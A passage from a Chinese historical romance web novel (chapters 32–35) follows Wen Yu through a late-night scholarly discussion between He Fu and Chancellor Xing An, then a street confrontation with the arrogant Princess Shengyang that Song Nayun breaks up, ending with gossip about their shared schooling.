温余抿着唇,猫着腰,不由感叹幸丞相对贺扶的关注,竟还特意前来听贺扶说这些。
“阿扶办事,吾自然是放心的。”
这声音虽然沙哑似一位长者,但语气中又带了些少年人的意气,与温余心中所想全然不同,这让她对这位幸丞相的好奇更甚。
“诶……”幸安似乎是想到了什么,疑惑道,“这是?”
温余将耳朵贴近窗户想要听得更轻,却听贺扶轻笑一声:“阿蓁顽皮,随意涂鸦,师父莫见怪。”
听贺扶这么一说,温余才知晓幸安问的是什么。
那是自己看书看得无聊时在案上偷偷刻的小人儿。她原本因为贺扶没发现呢,没想到贺扶不但发现了还知晓是自己刻
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的。
想来也是,这整个绍王府也没有人能像自己这般胡来、玩闹了吧!
今日竟还被幸丞相提出来了……
温余面上发烫,算是明白了丢人这一窘态是何种感觉。
对面的幸安似乎也在跟着笑,“尚好的金丝楠木书案竟被你送给小姑娘玩闹,你这可算是‘散尽家财,为博红颜一笑’啊?”
贺扶轻咳一声,“师父莫要打趣弟子……”
“阿蓁性子活些,喜好玩闹,弟子便由着她去了。”
幸安点了点头,“也是,这绍王府也是许久都没有这般有生气过了。”
贺扶微微垂眸,轻轻勾了勾唇算是赞同。
自那年上元节起,绍王府的欢声笑语便好似被那场大火燃尽了一般。恩爱开明的绍王夫妇,慈祥和蔼的祖父母,以及自小陪伴他的小鬟家仆,都在一夜之间葬身火海。
若非幸安及时赶到,怕是贺扶也要在那场大火中丧命。
之后贺扶重建绍王府,但始终不愿招揽过多家仆之类。偌大的绍王府也只有寥寥几人,许多日常的琐碎事情都是贺扶亲力亲为。
若问缘由,大抵是因为那夜成山的尸体在贺扶心中留下了太深的印象。
他怕那些人卷土重来,自己却保护不了府中之人,怕那日的情形重现。
由于人少,这么些年来府中也是冷冷清清。
启蛰儿时还会哭闹嬉戏,虽说吵闹但也是为府中添了些乐趣,但随着年龄增长启蛰也逐渐知晓了廉耻,除过有时别扭的求加月俸之类外,也是同府中众人一般对贺扶言听计从。
但自从温余前来后府中似乎就变得不同了。
她会用木头雕些小玩意儿送人,只是摆在贺扶房中的就不下十个。她还会四处找花种来种,院内尽是些大大小小的花草……
不知何时,屋檐上开始挂上了铜铃,院中开始弥漫了花香,府中也有了玩闹嬉戏的声音。
贺扶手指轻轻擦了擦手旁被温余刻上的小兔子,唇边笑意愈深。
将温余带回来,是他做过的最为正确的选择了。
“贺大人,我来送茶了。”
不知为何幸安和贺扶开始聊起自己,温余没这个胆量再听下去了,只好敲开门打算送完茶就走。
就算她脸皮再厚也不能面不改色偷听别人谈论自己啊!
贺扶一怔,下意识地抬眼看向幸安,幸安挑了挑眉,示意他应答。
“进来吧。”贺扶道。
温余端着茶进来,面上带着笑,脚步轻快,活像一只刚刚从池中跃上来的小锦鲤。
幸安看向温余目光中多了一丝喜爱,等温余将茶放好离开时叫住了她,让她坐在自己身边。
四方案,一面靠窗,贺扶和幸安各坐一边,温余一落座就将余下的缺口给补上。
“你叫温蓁?”幸安笑眯眯地道。
“小女名唤温余,字蓁。”温余老老实实回答。
“温余,字蓁……阿蓁,好字!”幸安赞道,“如今多大年岁了?”
“刚满十七。”
幸安笑了笑,“果真还是位小姑娘,你可知吾是谁呀?”
听着幸安这逗弄小孩的语气,贺扶轻咳一声,“师父,阿蓁她……”
幸安看了贺扶一眼,“你先噤声,吾在同阿蓁讲话。”
“是,师父。”
贺扶暗暗叹息,自己这位师父还真也是一派孩童心性,看他这样子怕是对温余喜欢得紧。
“您是当今丞相,幸丞相。”温余虽觉得尴尬,但还是乖巧回答。
饶是她抠破脑袋也想不到,这幸丞相竟是这样一个人!竟还把自己视作孩童逗弄!
幸安看着温余,满眼只透着两个字“满意”。
许是他的目光过于炽热,温余有些难耐地低下头,隔了半晌后转移话题道:“幸丞相渴了吧?来喝茶!这是尚好的明前龙井!”
温余抬手倒茶。这些日子里贺扶不仅教她武艺温书,还教了她茶艺,如今在客人面前也算是不会露怯了。
幸安笑呵呵地接过茶,道:“这一看就是好茶,阿扶,你也喝!”
32. 弄情(二)
贺扶下意识地端起茶杯但又很快放下,他正色道:“师父,还有正事。”
幸安端杯子的手一顿,还是自得地将茶饮下后才缓缓开口:“是崇安红楼的事?”
贺扶点头,惊道:“红楼之事竟是连师父都不知道?”
见贺扶这般诧异,温余往幸安杯子里添茶的手一顿。
能让贺扶这般惊讶,应当不止是出于对幸安的信任,应该还有更大的原因,或许幸安所做不止是表面这些,说不准还有更为重要的事情,比如那些话本子里有遍布江湖的眼线的首领什么的。
如果真是这样,那这红楼的事情可就更严重了。
什么样的消息能让消息遍布江湖的幸安都不知?除去监守自盗,自己隐瞒的可能那就是有势力更高的人刻意隐瞒。
但幸安再往上可就是当今圣上了!总不能是圣上派人隐瞒吧?图什么呢?
“蓁丫头,专心些,茶溢出来了!”
温余一抬头就对上幸安笑眯眯的脸,她低头看看桌上,茶水已经从杯中溢出,正有一条细细的涓流往幸安那边流去。
两人坐而论道,发现时竟已经是将衣摆打湿了。
温余暗暗咬牙,事情没想清楚就罢,还没听到贺扶他们方才在说什么,也不知错失了什么消息。
但当下重要的是另一件是……
“请幸丞相责罚!”
温余猛得往下一趴,把幸安和贺扶都吓了一跳。
幸安立刻伸手要将她扶起,边扶还边道:“诶呦诶呦,紧张什么?一点水而已,行这么大礼做什么?”
温余也意识到自己的行为有些过于像惊弓之鸟了,对着地板的脸一时有些尴尬,隔了好久才抬起脸,笑道:“幸丞相不怪我?”
幸安立刻摇头,“不怪,什么会怪呢?这么好的孩子,快些起来!”
温余被幸安扶起,下意识转头看向贺扶,见贺扶正笑得无奈,她的手指不自主的捏了捏腕上的珠子,心中暗暗将“监守自盗”这种可能性给抹去。
她看了看幸安,他正慢条斯理地用帕子擦着桌子。这样的人,应该不会做出那种事情吧?
幸安和贺扶的讨论一直持续到深夜,从红楼一事聊到崇安治理,又从崇安治理聊到全国治理,最后竟是聊起文学论述来。
什么《楚辞》、《诗经》什么老庄思想,温余听得昏昏欲睡,一颗脑袋像拨浪鼓一般摇摇晃晃,最后撑不住直接向桌案上砸去。好在,本该袭来的疼痛被一只温热的手掌化解。
温余霎时清醒过来,抬起头,鼻翼间还残留着淡淡的檀香。
“贺大人……”温余不好意思去看贺扶的脸,只能默默盯着自己摆弄衣摆的手。
“若是困了去休息便是,不必在此等着的。”贺扶笑道,眉目间尽是如水般的柔情,就算是与此刻窗外的月色相比也丝毫没有逊色。
温余轻咳几声后又摇了摇头,让自己更清醒些,她道:“不困,我想陪着大人和幸丞相。”
谁料她一转头,竟是没了幸安的身影。
“诶?幸丞相呢?”对于幸安突然的消失,温余一头雾水。贺扶却又无奈地笑了,“还说不困?竟是连师父何时离开去寻书册都不知晓。”
原来是去找书了啊!温余恍然大悟,转念一想,他们当真要在这里彻夜长谈些文学史册?!
他们都不困的吗?!
温余轻轻笑了几声,拖长了声音道:“当真不困,贺大人就让阿蓁守在您身边吧!”
又开始撒娇了……
贺扶心中无奈却又不禁泛起些甜意来,虽不知她这小葫芦里卖的什么药,但还是随着她的意思了。
得了贺扶的应允,温余立刻打起了精神,整个人直得像一条钢板,像是在对贺扶说:“瞧,我不困!”
贺扶忍俊不禁,却又见幸安正向这边过来,便收起了笑。
幸安坐回位置,看了看温余挺直的小腰板,哈哈笑了几声,问她:“蓁丫头醒了?若是困就早些回去睡,吾又不会吃了你家贺大人!”
听他打趣这些,贺扶将手附在唇边轻咳了两声,“师父……”
阻止之意明显,幸安也只说了几句“又护着了”之类的话就继续与贺扶谈乱他方才拿来的《治国策论》了。
又开始了念经似的讨论,温余一开始还能聚精会神的听几段,到之后便只能掐着大腿让自己清醒过来,直到最后,还是一头栽了下去,砸在桌上发出“砰”的一声。
这一声让本闭眼深思的贺扶周身一颤,他睁开眼便看到了温余以头抢桌的惨状,见她这么一砸还没有醒,而且咂咂嘴继续睡觉他便觉得好笑,好笑之余竟有泛起几丝心疼来。
何必要勉强自己这般硬撑呢?
如此一想,竟是说不清自己心里到底是什么样的情感了,听到动静,幸安也缓缓睁开了眼,“这丫头还真是倔脾气,今日就这样吧,若是在这样下去,她非得给这桌子砸个窟窿来不可!”
贺扶觉得今日这般便够了,点了点头后等幸安离开才伸手轻轻将温余扶起。
他将温余抱在怀里,吹灭了玉茗堂的灯后离开了屋内。
行至月光下,他不由掂了掂怀中的温余。
果真是吃得好些了,倒是比在扬州要软乎了不少。
若是说在扬州的温余像一位清瘦的海棠仙子,那此时的温余便是一只软乎乎,在花丛中嬉戏的海棠小妖。
虽说仙到妖这个比喻听起来并不值得欢喜,但贺扶还是不住高兴,至少在自己身边不会缺衣少食,不会被无端伤害。
既如此,那自己纵容她做个不知天高地厚的小妖又如何?
念此,他唇角也不由勾起一抹笑来。
而忽然响起的一声嘤咛却让他一怔。他低下头见温余正抵着脑袋往自己怀里蹭,嘴里还哼哼唧唧不知在说些什么。
怕是自己方才那一掂使得她不舒服了。
贺扶轻笑,下意识地放轻了动作,温余果然不再动了。
但行到门口他又停下脚步。他盯着温余看了许久,见她睡得安然,颇有憨态可掬这一模样。
不知停了多久,他忽得又掂了掂,果然温余再次哼哼唧唧地往他怀里钻。
贺扶轻咳
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几声,继续往前走只是这短短的一条路,他竟是走走停停,隔一段时间就把怀里人掂上一掂。
好容易将温余送回房间,他掖了掖被角后心里泛起些心虚的感觉,上一次有这种感觉,还是在他翻墙抢乐谱被章执发现那一次。
他站起身,不再好意思看温余,转身就往外走,行至门边他竟是又顿了一顿,停了许久他还是按捺住想要回头的欲望迈步往屋外走去,
若是有外人在怕定是要问,何事能让贺大人这般着急?竟是逃也似的离开了院子。
由于昨夜那一路的“颠簸”,温余次日一早起来时觉得自己好像坐了一夜的船。
她摸了摸脑袋,昨夜贺扶与幸安说文解字的声音又开始在她耳边回荡,简直余音绕梁,几日不绝!
等她将脑袋内的声音甩掉,站起身时又感到一丝晕眩。
果真是学海无涯苦作舟啊,只是听了这么半夜,竟是要比坐一夜船还要晕!
忽然她又想起,昨夜自己睡着,是谁送自己回来的?
没等她去想自己睡前的情景,贺扶的名字就出现在了她的脑海中。除了贺扶应该也没别人了吧?总不能是幸丞相那一把老骨头将自己从玉茗堂带到了房内。
温余坐在铜镜前看着自己眼下的乌青,暗暗道:“还是要向贺大人道声谢才是!”
但没等到在早膳桌上与贺扶会面,她却等到了贺扶进宫的消息。
莫不是昨夜还没论够,今日还要接着论?
她不由心疼起贺扶来,如此枯燥的东西,他竟要这般苦学,简直可怜!但又转念一想,贺扶似乎对此乐在其中!
这样,她便将脑内乱七八糟的想法丢掉,专心听葛巾将今日的任务。
首先,是去锦绣坊取衣裳。早些日子定制的衣裳今日便可以去取了!
紧接着,要去大理寺。听说韩犹息夫妇在此食不下咽后,他特地为这夫妻俩准备了崇安的饭食,稍后就要送过去。
最后,是要回来整理行装。离要前往崇安的日子已经不远了。
温余跟在葛巾身后跃跃欲试,葛巾回头按住她:“如此激动做什么?”
“好奇贺大人为我们定制的衣裳是什么样子的!”温余兴奋道,毕竟贺扶那般风光霁月的人,挑衣服的眼光定也是顶好的!
“可这衣裳是按照贺大人的喜好来定的。”
“就是因为是贺大人的喜好我才更好奇啊!那日他给我选的那件衣裙,我就很喜欢!”
葛巾看了看温余,面上是一派欲言又止的沉默,其中还夹杂了些对面前人的怜悯。
温余有些疑惑,缓缓歪头去看她,问:“怎么了?”
葛巾无奈地将脸埋进掌中,轻轻叹了口气,似乎有些难以启齿:“这么说吧,贺大人的衣裳搭配向来是由启蛰负责的,就连你方才说的那件衣裙都是贺大人从启蛰挑选的衣裳里再挑出来的。”
“启蛰还会给我挑衣裳?!”
温余明显没有找到重点。
葛巾又叹了口气,将脸抬起。
罢了,稍后她便知晓事情的严重性了……
33. 弄情(三)
温余站在锦绣坊内,看着老板笑呵呵拿上来的衣裳,嘴角不由抽了抽。
这红配绿的配色,这堪称“鬼斧神工”的款式,真的是京城最好的裁缝能做出来的衣裳吗?
她不禁有些怀疑这锦绣坊的水平,却听那老板补充道:“这可是完全按照贺大人的指示做的啊!”
温余沉默片刻,好像知道为什么葛巾要说那些话了。
“多谢老板。”葛巾倒是早已预料到这样的情况了,自然地接过衣裳与老板寒暄几声后就要离开。
“这当真是贺大人吩咐的?”温余指了指葛巾怀里的衣裳,声音都有些飘忽。
葛巾笑着点头:“自然,贺大人选衣裳的眼光绝无他人代劳的可能。”
温余嘴角又抽了抽,这意思怕是没有人能眼光差到这种程度了是吗?
不过转念一想,贺扶这般神仙似的人物竟然在挑选衣物上竟是这样的审美,温余便不觉有些想笑,仔细一想竟还带了几分可爱。
见温余笑了起来,葛巾轻轻拍了拍她的肩:“走了,别傻站着了。”
温余“哦”了一声后跟着葛巾出了门,还未坐上马车便听街上传来一阵吵闹声,似乎是有谁在吵架。温余探头出去看了看,发现那声音是从对面一栋楼里穿来的。
“那是什么地方?”温余向葛巾指了指。
葛巾只看了一眼便答道:“芳悦阁,一家青楼。”
“为何会有人叫得那般凄惨?”温余好奇道。
“不知道,我们还是先回去吧,这里面的客人大多都是些有权有势的老爷之类,我们还是少招惹麻烦了。”葛巾催促温余上车,却被温余反拉住,“我们去看看嘛,听那姑娘哭得很惨的样子,许是被人欺负了!”
葛巾皱眉看着半晌,又看看温余发着亮的眸子,半晌还是败下阵来,无奈道:“好吧,不过要小心些。”
“好!”温余欣然应道。
二人接着身量小从人群的缝隙中穿过,站在最前排的位置,正巧遇上一个姑娘被拽着头发拖出来,衣衫半解,颇为暴露,周围人虽都叫着喊着世风日下、伤风败俗之类的,但眼神却是忍不住的往那姑娘身上瞟。
温余光是看着都觉得那眼神恶心地令人发指,她想上前去帮忙却被葛巾拉住。
“老爷,求您放过奴家,奴家卖艺不卖身的,求您放过奴家吧……”
女子不停地求饶,而头发却被上头那男人拽得越来越紧,那男人面上通红,双眼眯成一条缝,似乎下一刻就能睡过去,明显是喝醉酒的样子。
他如同拖动一头小兽一般将那姑娘拖在地上,不停嗤笑着,见门口围着的人挡住了路,便挥手驱散道:“都给我滚开!”
那动作仿佛在赶苍蝇一般,看得温余眉头紧锁,她转头问葛巾:“他是何人?这般大胆?”
葛巾张了张口正要回答,头顶却突然飞过一道紫色的身影,一脚将那男人踹翻在地。他还没来得及放开那姑娘的头发,这么向后一倒还扯下她的几根头发来,那姑娘惊叫一声,捂住自己的头,不敢抬脸。
温余看到那抹紫色的身影后一怔,是圣阳郡主。
再次看到这张盛气凌人的脸,她又想起了那日小宴上的事情,不知她是不是真的去扬州请教了技艺,这么快就回来了?
随便出一趟门就能碰上,还真的冤家路狭啊!
“当着这么多人的面还敢这么放肆!简直是丢我们皇家的脸!”圣阳将那男人踩在脚下,那张肥胖油腻的脸都被踩得变了形。
男人似乎还没认出来人是谁,大吼着:“你可知老子是谁!?信不信老子灭你全家!”
圣阳听后一笑,收回脚学着方才他拖那姑娘的样子扯住他的头发,让他可以对上自己的脸,“灭我全家?那你不也得死?”
男人看到了圣阳的脸,一惊后嘿嘿笑了两声:“诶呦,这不是小钰吗?真巧啊!”
“巧个屁!”圣阳喝道,“你再敢在街上丢人本宫就告诉叔母去,到那时看你怎么解释!”
听了圣阳的话,男人讪笑几声,滑稽地从地上爬起,顾不上身上的脏乱,连连作揖:“是是是。”
“那人是圣阳的亲戚?”温余问道。
葛巾点了点头:“是圣阳郡主的姑父。”
“既是长辈怎会这般无礼?”温余有些疑惑。
葛巾叹了一声,看向那男人的目光不由带上几丝鄙夷:“圣阳郡主的姑姑乃是当今长公主,性格强势不说还喜好养面首,这夫家是陛下为了灭灭她的威风才为她寻的。为了防止滋生叛乱还特地选了个无权无势的,算是入赘,单占着个驸马的位置,也没什么实权,就连寻常的小侍也不怎么给他面子,更别说被皇后捧在手心里的圣阳了。”
温余点头,颇为唏嘘,据说那长公主生得极为美艳,竟是比那山野间的狐妖还魅惑人心,怎的酒就被指了这样一个大腹便便的男人,这圣上真是够胡来的。
不过她的揶揄也只能心中暗想,职责当今圣上的话又怎能说出口来?那可是要被诛全族的!
见那男人夹着尾巴逃跑,温余的戏也是看完了,看周围人都散了她便想着混进人群里跟着离开,不太愿意碰上圣阳,那知那厮的眼神好得很,一眼就看到了人群中的温余,叫一声:“又是你?”
温余知晓自己是逃不掉了,僵硬转头跟着葛巾行礼:“圣阳郡主。”
圣阳略过福身的葛巾直直向温余走来,在她面前站定后道:“这戏好看吗?”
温余低眉顺眼道:“圣阳郡主教训人,风采斐然,小女佩服。”
圣阳哼笑一声,拿下腰间的红鞭折起后用鞭子挑起温余的下巴,迫使她看向自己:“我如今也学了雕花的技艺,可要寻个时间比试比试?”
温余顿住,她,真的去学了?
“这,此次回来要事颇多,怕是要等到来日了。”温余推脱道。
圣阳眯眯眼睛,言语间满是轻蔑:“要事?你一个大理寺司务,能有什么要事?就连贺扶都有空去赴章执的约,你就没空与本宫比试比试?再说了,雕花能占多少时间?你这么快拒绝,莫不是……你怕了?”
“自然不是。”温余道,“此次我回来确实是有一件非常重要的事情,圣阳郡主定也不是个不讲理的人,你就暂且等等,我又不会跑,对吧?”
“谁告诉你本宫不是不讲理的人了?本宫做事何时讲过礼数?”说罢,她将手中红鞭一挥,原本围作一圈看热闹的众人都小心地往后退了退,生怕被鞭子伤道,“你们说说,本宫讲过礼吗?”
听到圣阳发问,周围人都面面相觑,一瞬间噤若寒蝉,没一个人
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说话,只有那迫切想拉拢关系的男人顶着笑凑上前:“我们圣阳郡主何时讲过道理?圣阳郡主就是道理!”
圣阳嗤笑一声,用手拍了拍那男人堆满横肉的脸。对方见圣阳笑了以为她不再追究自己的过错了便跟着笑。
“虽然这人看着恶心做事也恶心,但这句话本宫颇为满意。”圣阳又看向温余道,“若是你实在不想比试,本宫还有一个办法。”
“什么办法?”温余问。
圣阳忽得看向还倒在地上的那女子,感受到不善的视线,那女子小心缩了缩,“你学她一般,趴在地上,同本宫认输,本宫就当你技不如人,不再纠缠你了。”
当街趴在地上认输?简直是欺人太甚!
周围顿时响起此起彼伏的唏嘘声,那男人应声而上,道:“对啊对啊,就算是朝中的官员碰上我们圣阳郡主也得低头,你一个品阶都算不上的小吏,低头认错,都还是抬举你了!还不速速听令!”
温余皱起眉来,一句“你简直是欺人太甚”正要出口却被葛巾拉着,她低声道:“低头认错,然后我们就走,她我们惹不起。”
温余眉头皱得更深了,她问:“凭什么?这也太欺负人了!”
葛巾对温余摇着头但还是拦不住她,只见她前走几步对上圣阳的目光,正色道:“你究竟要如何?”
“自然是让你认输,承认你不如本宫,心甘情愿的臣服在本宫脚下。”圣阳道。
“为何偏偏是我?”温余还是不明白就只单单因为贺扶吗?
圣阳回道:“那你就要去问你那位贺大人了,本宫喜欢他,全宫甚至全京城的人都知道,可他拒绝了我,说无心感情之事,又偏偏将你给带了回来,这难道不是在侮辱本宫吗?所以本宫就要看看,你有什么能耐,究竟是哪里比本宫强。”
“圣阳郡主枪法得皇后娘娘真传,出神入化,才学也是宫中的佼佼者,何必要通过一个好的夫家来证明自己呢?”温余不明白,想圣阳这般英姿飒爽的女子,除过皇后娘娘之外在这左晋她甚至找不出第三个,她分明可以去战场上挥洒,在官场上纵横,为何偏偏要把注意放在贺扶今日带回了个什么人呢?
圣阳的眸色变了变,她暗暗看了边上那堆着笑的男人一眼,嫌恶的收回目光,“你怎么会懂?你以为谁都和你一样蠢?今日,究竟是做还是不做?”
温余毅然摇头:“我不,我没做错,为何要这般没有尊严?”
葛巾拉了拉温余的袖子,“别硬碰硬了。”
“我就不!”温余大喊道。周围人都不由倒吸了一口凉气,那男人尖声斥道:“你大胆!怎么和我们圣阳郡主说话的!?”
说着,他就要上来按温余的头,葛巾抿了抿唇后暗暗退至一边。
温余挣扎着想要逃开,可终究是抵不过他的重量优势,就当她快要被那男人按倒的时候,人群中忽然传来一个声音:“住手。”
人群十分自然地为来人让出一条路,一时间众人皆盯着那白衣冉冉身影目不转睛,那人身长玉立如同高山之上的劲松一般,虽然遮住了脸但仍然令人移不开视线。
圣阳一惊:“是你?”
温余也闻声抬头,只见一个熟悉的身影正向自己走来。
霁尘君?
温余诧异,她竟是回京城了?
34. 弄情(四)
看到宋拿云后,圣阳的脸色猛得一变。
宋拿云却只是轻轻瞥了她一眼后走上前去脱下外衫披在那姑娘的身上。
“霁尘君。”葛巾率先反应过来,向宋拿云问好,温余紧随其后,只有圣阳沉默了半晌都没有动作。
“圣阳郡主还真是嚣张。”宋拿云冷冷瞥了那还按着温余的男人一眼,“还不放开?”
男人这才反应过来立刻放手,圣阳和宋拿云相比,他还是更怕宋拿云一些。宋拿云的背后可是当朝首辅啊!
温余被放开后揉揉脖子向宋拿云跑去,问道:“霁尘君您怎么回来了?”
宋拿云没有回答,只是盯着圣阳看着:“圣阳郡主缘何为难这位姑娘?”
圣阳哼了一声:“这是本宫的私事,用不着霁尘君管吧?与其问本宫为何为难她,不妨问问霁尘君为何护着她?”
“路见不平罢了。”宋拿云眸色也是冷冷的,“不过要劝告圣阳郡主一句,行事过于张扬可是会引火烧身的。”
“呵,你算怎么东西,还敢管教本宫?”圣阳向来不爱被管教,听宋拿云这般说更是被点燃了怒火,她握紧了手中的红鞭,道:“那本宫也想奉劝你一句,有夫之妇就要有有夫之妇的样子,莫要惹得旁人说闲话。”
听两人的战火逐渐激烈,周围看热闹的人群也开始慢慢散去,这高位者的争斗可不是他们能随便听的,若是被灭了口那可就亏大了。
见两人吵起来,葛巾立刻上前拉过了温余,“我们快走。”
“为何要走?霁尘君刚刚帮我们解围,我们不能把她留在这里吧?”温余没有动作。
葛巾蹙眉劝道:“霁尘君位高权重,背后可是首辅大人,而且她二人还是旧交,圣阳郡主肯定不会把她怎么样的,我们还是快走吧。”
“旧交?”霁尘君还和圣阳郡主有过交集?这两人怎么看都不似同路人。
葛巾轻叹一声后解释道:“当年同窗之时,她二位是学堂上唯二的女子,久而久之便有了心心相惜之感,也算是当过好友,但后来朝堂内斗,安成王与霁尘君之父观点相悖,闹得十分不愉快,二人也便疏远了些,直到后来霁尘君成亲出走,二人便再没见过几次了。”
温余疑惑道:“父辈恩怨与她二人有何关系?”
葛巾无奈道:“朝堂之中瞬息万变,那背后牵扯到的东西都是关乎性命的。哪怕是前一日还笑脸相迎的同僚次日就会也为利益将你置之死地,所以,同僚只能是同僚成不了朋友,更别说相对立的两人了。不单是本人不相往来家里人也很少有看对方顺眼的。”
温余似懂非懂地点头,葛巾又语重心长地叮嘱:“你不是要做官?可得记牢了,交心,是天下最危险的事情。”
“那我岂不是也不能信你了?”温余本意玩笑,谁知葛巾面色沉了沉,“当然不能。”
“……”温余沉默半晌,觉得有些尴尬。
“宋拿云你可别以为嫁了人就比本宫高一等,你日日在外不知与多少男人不清不楚,还好意思在这儿拿礼仪教育本宫?你怕是不知道朝堂中人都是怎么说你的,又是怎么说章执的?他们说你常年不归家,不知何时就会带个孩子会来,也不知章执被戴了多少顶绿帽子……”
“圣阳郡主!”温余听不下去,走上前护在宋拿云身前,“同为女子你又何必要拿这般恶意揣测来中伤女子?相比你并非不知霁尘君的性子,你难道相信那些人嚼的舌根吗?”
葛巾在一旁默默低头,这下怕是彻底得罪透了。
可谁知,圣阳却顿住了。良久,她才道:“还真是,多管闲事。”
多管闲事?温余愣了愣,但圣阳看向宋拿云的目光竟是带了些说不明的情绪。
“今日便先放过你们。”
说罢,圣阳便将一旁缩成鹌鹑的男人一扯后领绑在马上,任凭他如何求饶都没有半分心软。
她飞身上马,握住缰绳后看了宋拿云一眼,又对温余说道:“你的胆子,很大,日后本宫不会放过你的!”
看着圣阳策马离开,宋拿云轻轻叹了一声。
等温余回头看向宋拿云之时,她已经将那女子安稳地送进了楼内。
“别担心,她只是说说。”宋拿云安慰道。
温余有些受宠若惊,点了点头表示没事后又问:“霁尘君此次回京城是为了什么要事?大理寺能帮上忙吗?”
宋拿云摇头,“此事与你们无关。”
“那您回来是?”葛巾也走上前来。
宋拿云看了看日头,许是与人有所约定。良久,她才看向街边的一座茶楼,“他们已经到了。”
话音落下,温余和葛巾都抬头去看,只见对面茶馆二楼的窗不知何时已被打开,坐在窗边的黑衣男子正凌然看着街上三人,并未有所动作便令人望而生畏,颇为胆寒。
与他相对而坐的还有一人,那人一身翠衫单薄,迎上温余看过来的眼神,对她投来一个安抚的目光。
那楼上坐着的,正是贺扶与章执二人,也不知在楼上看了多久。
看到妻子被人中伤,身为夫君竟也不出来解释一下。念此,温余竟生出些对章执的埋怨来。
“许久不见。”低沉的声音响起,温余又一愣,这是在,问好?
宋拿云也道:“嗯。”
温余看看宋拿云又看看章执,怪不得旁人说这夫妻二人貌合神离,不对,貌也不合,原来见面之后是这样的场景啊!
“二位既在那便一同上来吧。”这次是对温余和葛巾说的。
温余正要道好,却又听宋拿云道:“此事关系重大,二位还是莫要参与。”
温余点点头,也是,既然宋拿云都说是要事了,她应该是听不得的。
正当葛巾准备带着她离去时,章执又开口了:“哪有赶人的道理?二位上来便是。”
宋拿云冷冷道:“走。”
“站住。”
二人一来一回,夫唱妇随,倒是让温余两人走也不是,不走也不是。<
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若不是温余知晓宋拿云不是爱玩笑的性子她都要怀疑是不是她和首辅大人一同戏耍自己了。
宋拿云又道:“此事不能让旁人知晓。”
“不妨问问祝桐,她们可是旁人?”
突然被提起的贺扶愣了一愣,正准备开口却被章执睨了一眼。
“其实……”
宋拿云的目光也紧随其后。
“……”
见贺扶为难,温余出声打断沉默,“其实,我们府中也有一件要事,需要回去处理一下,那首辅大人我们就不奉陪了,再会再会。”
说罢,温余拉了葛巾就往马车上跑。
见马车开始动作,宋拿云才收回了目光,转身进了茶楼。
透过帘子看到宋拿云进了茶楼后,温余才将帘子放下,松了口气。
“太可怕了!夫妻之间怎么能争锋相对成这样?”
“没办法,霁尘君向往自由只能如此了。”
相较于待在深院中相夫教子的贤妻良母,宋拿云更向往在外奔走,助人为乐的生活,哪怕酷暑烈日当头,冬日寒风猎猎,与她自小千娇百宠的生活相差甚远,但她也不在乎,只要能完成毕生的理想,就算是头破血流她也无所谓。
如冰般冷漠的外表下,是一颗热血上头的心。奈何她与章执自小便有婚约,又是先帝所赐,再来一个有夫之妇整日抛头露面,在左晋众人眼中也是个异类,背后不知会有多少人说三道四。
但宋拿云不在乎,她只在乎她自己,在乎她自己的理想,为了自己而活。所以她在圣上面前提了退婚,圣上本也觉得婚姻大事不可随意,但没想到向来对这婚约没有表现的章执却在宋拿云提了退婚后一反常态地拒绝。无奈之下,宋拿云只能嫁入章家,但在成亲之后,她便毅然离去,章执也奇怪的没有阻拦。
两人之间的关系也变成了一个谜,谁都不知两人是否相爱,谁都可以猜测几句。
“霁尘君还真是令人钦佩。”温余赞道。
“一意孤行不顾其他人死活,又时倒让人觉得自私自利。”葛巾默默道。
车内沉默了许久后,葛巾又感叹了一句,“不过,好在方才圣阳郡主走得快,否则对上首辅大人,那可就更有得看了!”
“什么意思?圣阳与首辅大人之间也不对付?”温余好奇道。
葛巾点点头,“她几乎和宫中所有人都不对付,除过之前交好的霁尘君便只剩一个六公主了。”
“所以……她和首辅大人间究竟发生过什么?”温余还是好奇。
葛巾掀开帘子看了看窗外,见离大理寺的路还遥远便开始娓娓道来:
原本幸丞相开设讲学是只收了章执、贺扶和尚卿三位徒弟的,但又念及学术不可将学子隔绝门外的道理便放开了,允许宫中诸位公子小姐一同听学。
圣阳这人不喜学术,但仍然前往同学,那便只有一个原因了。
“所以,她是为了贺大人才去的?”温余凑近了葛巾道。
35. 弄情(五)
葛巾点头:“对,圣阳郡主当时纠缠了大人好久,但后来因为行事太过胡闹,不仅打扰了大人听学还为学堂中冲着幸丞相讲学而来的学子们都造成了不便,首辅大人就是其中之一,于是在一同听学一月后她被幸丞相劝退了。”
其实葛巾此番说辞还是给圣阳留了面子的,她当时的行事作风何以一句“纠缠、不便”能概括的。那是贺扶走在哪儿她便跟在哪儿。时不时还在学堂中摆上些艳丽的花草什么的,当日第一个进学堂的便是提前去温习功课的章执,迎面便是一大簇鲜花,他又正好对花粉过敏以至于那日散学后的近一个月里他都是顶着一张通红的脸听学的。
章执好面子却又放不下学业,可是让他两难,虽最后得了宋拿云所配的药膏以舒缓痛苦,可这梁子便是结下了的。
除此之外,圣阳还不时寻些金银玉器之类的往绍王府中送,还阵仗极大,扬言要向贺扶提亲之类的,可是让贺扶几月忧愁。
诸如此类,竟是说都说不完的,葛巾念此也只觉得好笑。
她低低叹一声:“不过当时的圣阳郡主虽行事浮夸却也只能算是孩童心性,对待贺大人也只是像对一件喜欢却得不到的宝物之类的情感,但不知为何近些年来的作风却是愈发恶劣了。”
说到这里,葛巾也不禁皱起了眉,似乎是在为圣阳的转变而感到惋惜和无奈,但温余却听出了她话语中对圣阳的熟稔。
“这么听来,你们少时听学还是很有趣呢!”
温余眼中竟是盛满了向往。她之前也曾偷看温淳她们听学,先生在堂上教习,他们在堂下听讲,有时认真听,将书翻得哗哗作响,有时又会走神闲聊,惹得那先生吹胡子瞪眼的。
每每下课,他们便凑在一起讨论稍后去那条街玩耍,去那家酒楼用餐。
虽然他们也会抱怨先生话太多,管教太严,但温余却很是羡慕他们能够听学。
她每次只能像个躲在阴暗角落的老鼠一般,偷偷去听先生的教课和学子们的闲聊,只是寻常人家的私教就这般美好,她竟是都不敢去想皇家教习会有多厉害,能这般引人遐思。
“确实有趣,我当时还借着大人的光一同去听过几堂课呢!幸丞相对于史论的解读确实是令人赞叹,令人佩服。”葛巾轻轻笑了一声,似乎是在怀念过去的那段时光,只是现在都各奔东西,首辅与丞相决裂,嘉亲王执着于同大人的比较,霁尘君虽与首辅成婚但也不常相见,竟是比未成婚前还要形同陌路。
听葛巾由喜转悲,温余歪了歪脑袋,笑着道:“那启蛰呢?他可有和你们一同听学?”
